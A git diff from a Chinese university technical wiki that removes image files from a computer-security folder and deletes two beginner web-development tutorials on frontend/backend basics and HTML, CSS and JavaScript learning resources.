a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJ3jImTQcMUOWJclTACj74e.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJ3jImTQcMUOWJclTACj74e.png deleted file mode 100644 index 58b381e..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJ3jImTQcMUOWJclTACj74e.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png deleted file mode 100644 index e8cb34b..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJdWqlHmhlvB471dIGT4GEh.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJdWqlHmhlvB471dIGT4GEh.png deleted file mode 100644 index 0d8f8ec..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJdWqlHmhlvB471dIGT4GEh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnV68mdIQmovJwczDsOc53gc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnV68mdIQmovJwczDsOc53gc.png deleted file mode 100644 index f27572d..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnV68mdIQmovJwczDsOc53gc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnVRdntvakiTpt7nP8JhKKfc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnVRdntvakiTpt7nP8JhKKfc.png deleted file mode 100644 index f5086a5..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnVRdntvakiTpt7nP8JhKKfc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnXyMaLh26lkNuAPiQVHuaNg.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnXyMaLh26lkNuAPiQVHuaNg.png deleted file mode 100644 index ef4c38c..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnXyMaLh26lkNuAPiQVHuaNg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnaRtyUGC0sX3btnFIgpDCob.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnaRtyUGC0sX3btnFIgpDCob.png deleted file mode 100644 index ffb40c2..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnaRtyUGC0sX3btnFIgpDCob.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbAKreqEeZxOYQuQMtZbd9d.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbAKreqEeZxOYQuQMtZbd9d.png deleted file mode 100644 index 42eba6e..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbAKreqEeZxOYQuQMtZbd9d.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbMtjAq8osStjcSbFuIdDSc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbMtjAq8osStjcSbFuIdDSc.png deleted file mode 100644 index b3a5abc..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbMtjAq8osStjcSbFuIdDSc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png deleted file mode 100644 index 1b63300..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcndxf4WEQQQEXspS7GwNKI6J.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcndxf4WEQQQEXspS7GwNKI6J.png deleted file mode 100644 index 32e962e..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcndxf4WEQQQEXspS7GwNKI6J.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcniDohuM3F8FbMqz7YSC0Y5g.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcniDohuM3F8FbMqz7YSC0Y5g.png deleted file mode 100644 index 01704b5..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcniDohuM3F8FbMqz7YSC0Y5g.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnkwvSnhKBhlHNLOSthgul9d.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnkwvSnhKBhlHNLOSthgul9d.png deleted file mode 100644 index 307919b..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnkwvSnhKBhlHNLOSthgul9d.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png deleted file mode 100644 index 668cf60..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png deleted file mode 100644 index bc140d2..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnrMIc2m6oubxC86CEtw1jMe.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnrMIc2m6oubxC86CEtw1jMe.png deleted file mode 100644 index 8904d1a..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnrMIc2m6oubxC86CEtw1jMe.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnsStdHC5VmBylyx6S7hakEb.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnsStdHC5VmBylyx6S7hakEb.png deleted file mode 100644 index 89a1a3f..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnsStdHC5VmBylyx6S7hakEb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/gdb.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/gdb.png deleted file mode 100644 index c3b6081..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/gdb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/main.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/main.png deleted file mode 100644 index d28b631..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/main.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/out1.PNG b/技术资源汇总(杭电支持版)/6.计算机安全/static/out1.PNG deleted file mode 100644 index 64143d7..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/out1.PNG and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/out2.PNG b/技术资源汇总(杭电支持版)/6.计算机安全/static/out2.PNG deleted file mode 100644 index 7dfbd2d..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/out2.PNG and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/s.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/s.png deleted file mode 100644 index 0f6d2ca..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/s.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/shell.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/shell.png deleted file mode 100644 index abf643c..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/shell.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/stack.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/stack.png deleted file mode 100644 index 0c9242e..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/stack.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/stack2.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/stack2.png deleted file mode 100644 index 43990e4..0000000 Binary files a/技术资源汇总(杭电支持版)/6.计算机安全/static/stack2.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门.md deleted file mode 100644 index 22b892b..0000000 --- a/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门.md +++ /dev/null @@ -1,151 +0,0 @@ -# 7.网络应用开发入门 - -> 作者:aFlyBird0 -> -> 我本来写了一大堆客套话,诸如各位“恭喜各位看到这里”、“本章节多么多么有趣、干货、面向就业”。然后全部删掉,决定采用结构化的写作方式来写。 - -## 章节题目解释 - -- 何为 Web:可以狭义地理解为「前端」+「后端」 -- 何为开发:明确产品需求,写代码,调试代码,部署项目,写项目文档,维护项目 -- 何为入门:不知道要马上学会,而是知道 Web 开发是什么,以及如何去学 - -## 前端?后端? - -### **行业背景** - -前端开发和后端开发可以说是 2023 年以前,计算机学生就业最广泛的方向(当然工资也不低) - -- 为什么前后端就业最广泛?因为需求决定了供给。 - -我们接触互联网,直接使用最多的是什么?——软件 - -同样,我们可以狭义地把大部分软件开发理解为:**「软件」(程序员需要做的部分)=「****前端****」+「后端」** - -所以大部分计算机学生毕业,都是为公司的具体的业务,开发对应的手机 APP、网站、电脑软件。 - -- 为什么说是 2023 年以前? - -本文写于 2023 年 4 月,2023 年以来,AI(ChatGPT、Copilot、MidJourney)正在颠覆每个领域。可能在不远的将来,大部分的前后端开发,都能通过 AI 自动生成 99% 的代码,然后人工审核、校对、修改剩下的 1%。 - -### **步入正题 - 何为前后端 - 通俗认识** - -**前端** - -前端可以狭义地理解为,一个软件中看得到的部分。比如网页上的文字图片、各种花里胡哨的样式、以及交互操作。广义上来说,大家用的各种 APP、电脑上的应用程序,用户界面的部分都是前端干的活。 - -**后端** - -相对于前端,后端当然是「看不见的部分」。 - -为什么有前端?因为光有后端是不行的哈哈哈。 - -举个例子,网上有很多软件都可以修改支付宝上的「余额」,如果只有 APP 表面,即前端,那不是人均黑客,人均首富? - -所以一个软件的关键数据,肯定不是在用户侧(即前端)的。需要有这么一个东西,来存储数据(存储数据的地方叫数据库),来解析用户的请求,这就是后端。 - -**例子** - -举个详细的例子,购物软件上点了下单并支付,这时候前端就会发送一个网络请求,告诉后端:用户某某某,买了什么东西,价格和数量是多少,收货地址是多少。。。 - -后端收到了信息,先解析,然后修改数据库中存储的关键信息,比如新建一个订单信息,把商品的数量 -1 等等,再把下单的结果告诉给前端。前端收到信息后,就会渲染页面,提示「下单成功」! - -### **深入 - 何为前后端 - 技术剖析** - -在了解了前后端的宏观概念后,我们继续来感受一下背后的技术细节吧! - -你可以把本段内容当成一个前后端学习的「骨架」、「全局地图」,在看后面的前后端具体技术细节时,就能通过本段把零散的知识点串起来,激活「全局地图」中的一个个模块。 - -干讲技术细节实在太无趣了,我们直接上手实战吧! - -不要怕,我「实战」,你「感谢」就行! - -::: warning 📌 -假设我们要做一个「留言板」 -::: - -#### 2.3.1 明确需求 - -开发程序前(无论是自己独立开发、还是以后工作),一定要先明确需求。 - -正式的需求定义很复杂,而且计算机有门课专门会教(《软件工程》)。 - -我们这里就来个极简版吧: - -1. 最终形态是网站(用户访问 [https://message.hdu-cs.wiki](https://message.hdu-cs.wiki) 就能参与留言,这个网站是虚构的 不存在哦~)。 -2. 留言的时候需要填写昵称(不需要注册)、留言内容(只支持纯文字)。 - -#### 2.3.2 前端 - -想知道前端需要用到什么技术,就来看看前端到底需要解决什么问题吧! - -1. **页面渲染** - -无论是做网页,还是做 APP 界面,都得「画」出界面。 - -比如控制留言的字体、大小、颜色,边框、动画、特效。 - -要在不同的软件载体上「作画」,需要不同的编程语言/技术,比如网页需要 html+css,安卓 APP 需要 Android(Java),IOS 软件是 Swift。 - -(拓展:还有一些技术能够做到跨平台,比如通过某种技术把浏览器包装成一个 APP,就能只出同时支持浏览器和 APP 的前端;比如创建新的第三方前端框架,能把程序员写的代码转换成原生的 IOS、安卓 APP) - -1. **用户交互** - -如何实现“点击「留言」按钮,系统自动提交留言”?或者当用户点击按钮的时候,检测一下用户输入的内容是不是空。 - -同样,为了实现交互,不同的载体需要的编程语言也是不一样的。比如网页,需要的是 JavaScript(简称 JS)。 - -#### 2.3.3 后端 - -我们在前端部分,已经实现了展示页面、处理提交动作。 - -Q:但,只有前端行不行呢? - -A:当然不行!如果只有前端,那么 A 用户在浏览器中提交的留言,怎么才能发送到 B 的浏览器里呢? - -Q:可以直接把留言信息直接发送到 B 的浏览器里吗? - -A:理论上可以。但一般不会这么做(除了一些实时的网络聊天室可能会这么做)。想象一下,如果这么做,就需要 A 留言的时候,B 的浏览器一定是打开的,那还叫「留言」吗?以及,A 怎么知道 B 的浏览器的「网络地址」?即使上面的问题都解决了,那么 C 如果在后期加入,是不是完全看不到以前的消息了?哪怕上面的问题又都解决了,可数据都是存在用户自己的浏览器里,如何防止被篡改?(类比前面的支付宝的例子) - -登登登,后端登场! - -![](https://cdn.xyxsw.site/boxcnorsQ6py7AU0LsCtn4f5LSd.png) - -解释一下: - -1. 黑色的线条代表「留言」时发生的一系列事情,橙色的线条代表「查看留言」时发生的事情 -2. 留言:用户 1 和前端交互,把留言的信息发送给后端,后端收到消息后,解析消息,并把数据存到数据库里。然后把结果反馈给用户。 -3. 查看留言:用户 2 想查看留言的时候,向后端发起一个获取信息的请求,后端把信息从数据库拿出来,给前端,前端渲染后展示给用户。 -4. 后端只有一份,前端有 n 份(比如每个浏览器一份,每个 app 一份) - -#### 2.3.4 前后端交互 - -那么前后端之间又是怎么交互的呢? - -无论是最古老的飞鸽传书,还是现在的打电话,传输消息都有这样几个参与的角色: - -1. 沟通双方 -2. 沟通介质 -3. 沟通协议 - -如果是飞鸽传书,那么介质是鸽子,协议就是中文。 - -如果是前后端交互,那么介质就是互联网(有线、无线、服务器),协议就相对抽象一些,比如如何把信息编码、转换成电信号等等。关键词:HTTP 协议、JSON、计算机网络。 - -#### 2.3.5 后续 - -其实开发一个程序,除了前面提到的明确需求、写代码,还有很多后续的步骤: - -1. 测试 -2. 如果程序出现了 bug,调试程序 -3. 没问题之后需要把写好的后端部署到服务器上。即放到一个互联网公网能访问的地方,给出前端地址(也就是 [https://message.hdu-cs.wiki](https://message.hdu-cs.wiki))同时后端也要运行起来,处理后台逻辑。 -4. 写项目文档,防止后面接手的人看不懂你写的项目(甚至不写文档可能过几天你自己都看不懂了) -5. 持续维护项目(修复 bug,开发新功能) - -(拓展,当你已经能独立开发简单的前后端程序后,可以尝试搜索一下 DevOps,可以让你的开发、测试、部署流程更加简单、快速、高效) - -## 正式踏上前后端学习之旅 - -马上要动真格的了! - -请阅读后续内容。 diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套).md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套).md deleted file mode 100644 index cb7a7c9..0000000 --- a/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套).md +++ /dev/null @@ -1,154 +0,0 @@ -# 基础(三件套) - -## 🔑 萌新需要知道的前置知识 - -### 前端入门到入土 - -不同于后端语言的多样化,前端语言较为统一。在萌新阶段,你需要先掌握 HTML、CSS、JS 三种语言(人称前端三剑客件套) - -三者关系可以简单理解为:HTML 是骨架,CSS 是衣服装饰,JS 则控制交互行为 - -以下提供一些可供参考的学习资料,你也可以按兴趣在 b 站大学搜索相关学习视频。在学习中遇到无法解决的问题,或者学习路径上的迷茫,也可以参考[提问的智慧](https://learnku.com/laravel/t/2396/wisdom-of-asking-questions-chinese-version)向群里的前端学姐们提问噢~ - -#### HTML & CSS - -[MDN Web 入门](https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web) - -[前端入门必会的初级调试技巧](https://zhuanlan.zhihu.com/p/145466139) - -#### JavaScript - -[现代 JavaScript 教程](https://zh.javascript.info/) - -::: warning 🎈 -**快速上手的参考建议** - -**HTML**可以先认知常用标签(body / div / span / a / img 等)及其常用属性 - -**CSS**了解常见的颜色属性(字体颜色 / 背景颜色 / 边框颜色 等)、字体相关属性(字号 / 字重 / 行高 等)、盒子模型(padding / border / margin)、用于布局的属性(float / flex / grid)、单位(px / rem / em / vh / vw 等)、选择器(id 选择器 / 类选择器 等) - -**JS**了解基本语法(变量定义 / 判断 / 循环 / 函数定义 / etc)与 DOM 操作 - -涉及**前后端交互**的部分可以了解 fetch 的使用 - -其他诸如 HTML5 / CSS3 / ES6+ 的知识可以暂时跳过,任务要用到再查 - -基本全部前端开发资料都可以在 [MDN](https://developer.mozilla.org/) 中找到 - -::: - -### 🥂 助手介绍网页的重写 - -设计部姐姐给了前端部一个助手介绍网页的设计稿,但是 psyq 觉得[目前的助手介绍网页](https://www.hduhelp.com/)写得不是很还原,你可以帮 psyq 重写一个更好看的网页吗? - -设计稿如下: - -![](https://cdn.xyxsw.site/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg) - -#### 可能需要用到的图片资源 - -![](https://cdn.xyxsw.site/boxcnbigxAK5SbxiWuDHr1Ashne.png) - -![](https://cdn.xyxsw.site/boxcnrqddPFusKhe0vZuzXJOosg.png) - -#### 基本要求 - -- 大致还原设计稿的基础上可以自由发挥,要求美观 - - - 设计稿内容的大致布局 - - 背景颜色/样式 & 文字颜色/样式 - - 文字与容器的位置关系 - - …… - -#### 额外发挥 - -- 各处样式的细节(圆角 / 阴影 / 渐变) -- 对不同设备屏幕尺寸进行适配 -- 为显示内容增加一些动态效果 -- 无法一页显示所有内容时,试试在下滑页面时显示一个 `返回顶部` 的按钮 - -#### 可能涉及的知识点 - -- 使用 HTML 构建页面的基础布局 - - - 了解常用的 HTML 标签 - - - HTML 引入外部图片文件(``) -- 如何让 HTML / CSS / JS 相互配合 - - - HTML 中书写 css 使用 `